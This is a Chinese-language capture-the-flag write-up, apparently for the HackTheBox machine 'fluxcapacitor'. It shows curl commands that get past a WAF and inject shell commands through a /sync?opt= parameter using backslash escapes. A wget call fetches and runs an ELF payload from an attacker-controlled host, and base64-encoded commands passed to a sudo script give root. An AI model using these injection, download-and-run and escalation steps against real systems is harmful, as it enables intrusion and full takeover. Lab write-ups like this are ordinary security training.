10.10.10.69
scan
80/tcp open http SuperWAF
查看源代码,有一段注释,是javascript代码。
|
{ type: "GET", url: '/sync' }
|
于是访问http://10.10.10.69/sync
| <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>openresty/1.13.6.1</center> </body> </html>
|
攻击向量
OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。
CVE-2018-9230:OpenResty中的Uri参数溢出
- 可能是版本漏洞
- 扫描sync目录,确认了参数opt,可以执行某些命令
trying
searchsploit openResty
searchsploit CVE-2018-9230
searchsploit SuperWAF
无exp
gobuster扫描存在的目录:
经过信息搜集,了解到openResty是一个web服务器(比如说nignx,apache),superwaf没有任何资料。
用curl访问,获取当前时间戳;用浏览器访问,获得403,于是用burp抓包。
如果将User-Agent:
删除,成功获取当前时间戳
准备提权
在linux命令中,反斜杠’' 与其他字符一起,会被解释为特殊含义字符。
例如\n ,换行符;' ,将单引号转义。
如果不使用单引号和双引号(如:echo \,输出为空),则反斜杠可以被看做自动忽略。
利用这个特性,我们可以用反斜杠插入要执行的命令,从而绕过/sync脚本的限制
| curl "http://10.10.10.69/sync?opt=' sudo -l'" curl "http://10.10.10.69/sync?opt=' c\at /home/themiddle/.monit'" curl "http://10.10.10.69/sync?opt=' whe\reis n\c'" curl "http://10.10.10.69/sync?opt=' w\hereis python'" curl "http://10.10.10.69/sync?opt=' w\hereis wg\et'" curl "http://10.10.10.69/sync?opt=' /usr/bin/pyt\hon3.6 -V'"
curl "http://10.10.10.69/sync?opt=' /usr/bin/wg\et http://10.10.14.7:8888/p.elf -P /tmp'" 发现p.elf不能保存到/tmp,于是将payload改名为index.html.1 curl "http://10.10.10.69/sync?opt=' ch\mod a+x /tmp/index.html.1'" curl "http://10.10.10.69/sync?opt=' ./tmp/index.html.1'"
|
info
| os: Linux fluxcapacitor 4.13.0-17-generic
/bin/nc , /usr/bin/python3.6 , /usr/bin/wget
|
shell脚本
/home/themiddle/.monit
| #!/bin/bash
if [ "$1" == "cmd" ]; then echo "Trying to execute ${2}" CMD=$(echo -n ${2} | base64 -d) bash -c "$CMD" fi
|
提权
参考以前文章
| /usr/bin/python3.6 -c 'import pty; pty.spawn("/bin/bash")'
cd /home/themiddle/ ./.monit cmd bHMK sudo ./.monit cmd Y2F0IC9yb290L3Jvb3QudHh0Cg==(cat /root/root.txt)
通过sudo ./.monit cmd 任意命令
这种方式,可以以root权限执行任意命令
|
总结
wfuzz报错了,在这个实验中,fuzz到/sync?opt=,是获得突破点的关键。